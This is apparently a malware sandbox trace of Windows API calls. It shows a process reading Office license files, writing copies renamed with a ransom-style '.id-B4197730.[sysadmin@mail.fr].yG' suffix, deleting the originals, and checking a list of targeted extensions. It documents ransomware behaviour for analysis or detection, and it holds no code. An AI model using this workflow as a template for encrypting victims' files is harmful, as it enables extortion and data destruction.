	[0160.990] ReadFile (in: hFile=0x554, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x5127, lpOverlapped=0x0) returned 1
	[0161.006] WriteFile (in: hFile=0x4a4, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x5130, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x5130, lpOverlapped=0x0) returned 1
	[0161.008] ReadFile (in: hFile=0x554, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x0, lpOverlapped=0x0) returned 1
	[0161.008] WriteFile (in: hFile=0x4a4, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x104, lpOverlapped=0x0) returned 1
	[0161.008] SetEndOfFile (hFile=0x4a4) returned 1
	[0161.008] CloseHandle (hObject=0x4a4) returned 1
	[0161.008] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.008] SetEndOfFile (hFile=0x554) returned 1
	[0161.014] CloseHandle (hObject=0x554) returned 1
	[0161.014] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0161.014] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ppd.xrm-ms")) returned 1
	[0161.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74
	[0161.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74
	[0161.015] lstrlenW (lpString=".doc") returned 4
	[0161.015] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0161.015] lstrlenW (lpString=".docx") returned 5
	[0161.015] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0161.015] lstrlenW (lpString=".pdf") returned 4
	[0161.015] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0161.015] lstrlenW (lpString=".xls") returned 4
	[0161.015] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0161.015] lstrlenW (lpString=".xlsx") returned 5
	[0161.015] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0161.015] lstrlenW (lpString=".ppt") returned 4
	[0161.015] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0161.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74
	[0161.016] lstrlenW (lpString=".zip") returned 4
	[0161.016] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0161.016] lstrlenW (lpString=".rar") returned 4
	[0161.016] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0161.016] lstrlenW (lpString=".bz2") returned 4
	[0161.016] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0161.016] lstrlenW (lpString=".7z") returned 3
	[0161.016] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0161.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74
	[0161.016] lstrlenW (lpString=".dbf") returned 4
	[0161.016] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0161.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74
	[0161.016] lstrlenW (lpString=".1cd") returned 4
	[0161.016] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0161.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74
	[0161.016] lstrlenW (lpString=".jpg") returned 4
	[0161.016] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0161.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74
	[0161.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74
	[0161.016] lstrlenW (lpString=".doc") returned 4
	[0161.016] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0161.016] lstrlenW (lpString=".docx") returned 5
	[0161.016] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0161.016] lstrlenW (lpString=".pdf") returned 4
	[0161.016] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0161.016] lstrlenW (lpString=".xls") returned 4
	[0161.016] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0161.016] lstrlenW (lpString=".xlsx") returned 5
	[0161.016] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0161.016] lstrlenW (lpString=".ppt") returned 4
	[0161.017] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0161.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74
	[0161.017] lstrlenW (lpString=".zip") returned 4
	[0161.017] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0161.017] lstrlenW (lpString=".rar") returned 4
	[0161.017] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0161.017] lstrlenW (lpString=".bz2") returned 4
	[0161.017] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0161.017] lstrlenW (lpString=".7z") returned 3
	[0161.017] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0161.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74
	[0161.017] lstrlenW (lpString=".dbf") returned 4
	[0161.017] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0161.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74
	[0161.017] lstrlenW (lpString=".1cd") returned 4
	[0161.017] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0161.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74
	[0161.017] lstrlenW (lpString=".jpg") returned 4
	[0161.017] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0161.017] lstrcmpiW (lpString1=".xrm-ms", lpString2=".yG") returned -1
	[0161.024] lstrlenW (lpString="AccessR_Grace-ul-oob.xrm-ms") returned 27
	[0161.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0161.025] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=11594) returned 1
	[0161.025] CloseHandle (hObject=0x554) returned 1
	[0161.025] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ul-oob.xrm-ms")) returned 0x220
	[0161.025] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0161.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0161.026] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.026] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0161.036] GetLastError () returned 0x0
	[0161.036] ReadFile (in: hFile=0x554, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x2d4a, lpOverlapped=0x0) returned 1
	[0161.053] WriteFile (in: hFile=0x540, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x2d50, lpOverlapped=0x0) returned 1
	[0161.054] ReadFile (in: hFile=0x554, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x0, lpOverlapped=0x0) returned 1
	[0161.055] WriteFile (in: hFile=0x540, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x10a, lpOverlapped=0x0) returned 1
	[0161.055] SetEndOfFile (hFile=0x540) returned 1
	[0161.055] CloseHandle (hObject=0x540) returned 1
	[0161.055] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.055] SetEndOfFile (hFile=0x554) returned 1
	[0161.407] CloseHandle (hObject=0x554) returned 1
	[0161.407] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0161.748] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ul-oob.xrm-ms")) returned 1
	[0161.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77
	[0161.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77
	[0161.766] lstrlenW (lpString=".doc") returned 4
	[0161.766] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0161.766] lstrlenW (lpString=".docx") returned 5
	[0161.766] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0161.767] lstrlenW (lpString=".pdf") returned 4
	[0161.767] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0161.767] lstrlenW (lpString=".xls") returned 4
	[0161.767] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0161.767] lstrlenW (lpString=".xlsx") returned 5
	[0161.767] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0161.767] lstrlenW (lpString=".ppt") returned 4
	[0161.767] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0161.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77
	[0161.767] lstrlenW (lpString=".zip") returned 4
	[0161.767] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0161.767] lstrlenW (lpString=".rar") returned 4
	[0161.767] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0161.767] lstrlenW (lpString=".bz2") returned 4
	[0161.767] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0161.767] lstrlenW (lpString=".7z") returned 3
	[0161.767] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0161.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77
	[0161.767] lstrlenW (lpString=".dbf") returned 4
	[0161.767] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0161.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77
	[0161.767] lstrlenW (lpString=".1cd") returned 4
	[0161.767] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0161.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77
	[0161.768] lstrlenW (lpString=".jpg") returned 4
	[0161.768] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0161.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77
	[0161.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77
	[0161.768] lstrlenW (lpString=".doc") returned 4
	[0161.768] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0161.768] lstrlenW (lpString=".docx") returned 5
	[0161.768] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0161.768] lstrlenW (lpString=".pdf") returned 4
	[0161.768] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0161.768] lstrlenW (lpString=".xls") returned 4
	[0161.768] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0161.768] lstrlenW (lpString=".xlsx") returned 5
	[0161.768] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0161.768] lstrlenW (lpString=".ppt") returned 4
	[0161.768] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0161.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77
	[0161.768] lstrlenW (lpString=".zip") returned 4
	[0161.769] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0161.769] lstrlenW (lpString=".rar") returned 4
	[0161.769] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0161.769] lstrlenW (lpString=".bz2") returned 4
	[0161.769] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0161.769] lstrlenW (lpString=".7z") returned 3
	[0161.769] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0161.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77
	[0161.769] lstrlenW (lpString=".dbf") returned 4
	[0161.769] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0161.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77
	[0161.769] lstrlenW (lpString=".1cd") returned 4
	[0161.769] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0161.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77
	[0161.769] lstrlenW (lpString=".jpg") returned 4
	[0161.769] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0161.769] lstrcmpiW (lpString1=".xrm-ms", lpString2=".yG") returned -1
	[0161.769] lstrlenW (lpString="AccessVL_KMS_Client-ul-oob.xrm-ms") returned 33
	[0161.770] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0161.770] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=11614) returned 1
	[0161.770] CloseHandle (hObject=0x544) returned 1
	[0161.771] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul-oob.xrm-ms")) returned 0x220
	[0161.771] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0161.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0161.772] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.772] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.772] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul-oob.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0161.776] GetLastError () returned 0x0
	[0161.776] ReadFile (in: hFile=0x544, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x2d5e, lpOverlapped=0x0) returned 1
	[0161.779] WriteFile (in: hFile=0x548, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x2d60, lpOverlapped=0x0) returned 1
	[0162.047] ReadFile (in: hFile=0x544, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x0, lpOverlapped=0x0) returned 1
	[0162.047] WriteFile (in: hFile=0x548, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x116, lpOverlapped=0x0) returned 1
	[0162.047] SetEndOfFile (hFile=0x548) returned 1
	[0162.048] CloseHandle (hObject=0x548) returned 1
	[0162.048] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.048] SetEndOfFile (hFile=0x544) returned 1
	[0162.052] CloseHandle (hObject=0x544) returned 1
	[0162.052] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0162.053] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul-oob.xrm-ms")) returned 1
	[0162.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83
	[0162.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83
	[0162.060] lstrlenW (lpString=".doc") returned 4
	[0162.060] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0162.060] lstrlenW (lpString=".docx") returned 5
	[0162.060] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0162.061] lstrlenW (lpString=".pdf") returned 4
	[0162.061] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0162.061] lstrlenW (lpString=".xls") returned 4
	[0162.061] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0162.061] lstrlenW (lpString=".xlsx") returned 5
	[0162.061] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0162.061] lstrlenW (lpString=".ppt") returned 4
	[0162.061] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0162.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83
	[0162.061] lstrlenW (lpString=".zip") returned 4
	[0162.061] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0162.062] lstrlenW (lpString=".rar") returned 4
	[0162.062] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0162.062] lstrlenW (lpString=".bz2") returned 4
	[0162.062] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0162.062] lstrlenW (lpString=".7z") returned 3
	[0162.062] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0162.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83
	[0162.063] lstrlenW (lpString=".dbf") returned 4
	[0162.063] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0162.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83
	[0162.064] lstrlenW (lpString=".1cd") returned 4
	[0162.064] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0162.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83
	[0162.064] lstrlenW (lpString=".jpg") returned 4
	[0162.065] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0162.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83
	[0162.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83
	[0162.065] lstrlenW (lpString=".doc") returned 4
	[0162.065] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0162.065] lstrlenW (lpString=".docx") returned 5
	[0162.065] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0162.065] lstrlenW (lpString=".pdf") returned 4
	[0162.065] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0162.065] lstrlenW (lpString=".xls") returned 4
	[0162.065] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0162.065] lstrlenW (lpString=".xlsx") returned 5
	[0162.065] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0162.065] lstrlenW (lpString=".ppt") returned 4
	[0162.065] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0162.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83
	[0162.065] lstrlenW (lpString=".zip") returned 4
	[0162.065] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0162.066] lstrlenW (lpString=".rar") returned 4
	[0162.066] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0162.066] lstrlenW (lpString=".bz2") returned 4
	[0162.066] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0162.066] lstrlenW (lpString=".7z") returned 3
	[0162.066] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0162.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83
	[0162.066] lstrlenW (lpString=".dbf") returned 4
	[0162.066] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0162.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83
	[0162.066] lstrlenW (lpString=".1cd") returned 4
	[0162.066] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0162.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul-oob.xrm-ms") returned 83
	[0162.066] lstrlenW (lpString=".jpg") returned 4
	[0162.066] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0162.066] lstrcmpiW (lpString1=".xrm-ms", lpString2=".yG") returned -1
	[0162.066] lstrlenW (lpString="client-issuance-stil.xrm-ms") returned 27
	[0162.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-stil.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0162.068] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=3380) returned 1
	[0162.069] CloseHandle (hObject=0x544) returned 1
	[0162.069] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-stil.xrm-ms")) returned 0x220
	[0162.069] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-stil.xrm-ms.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0162.069] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-stil.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0162.070] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
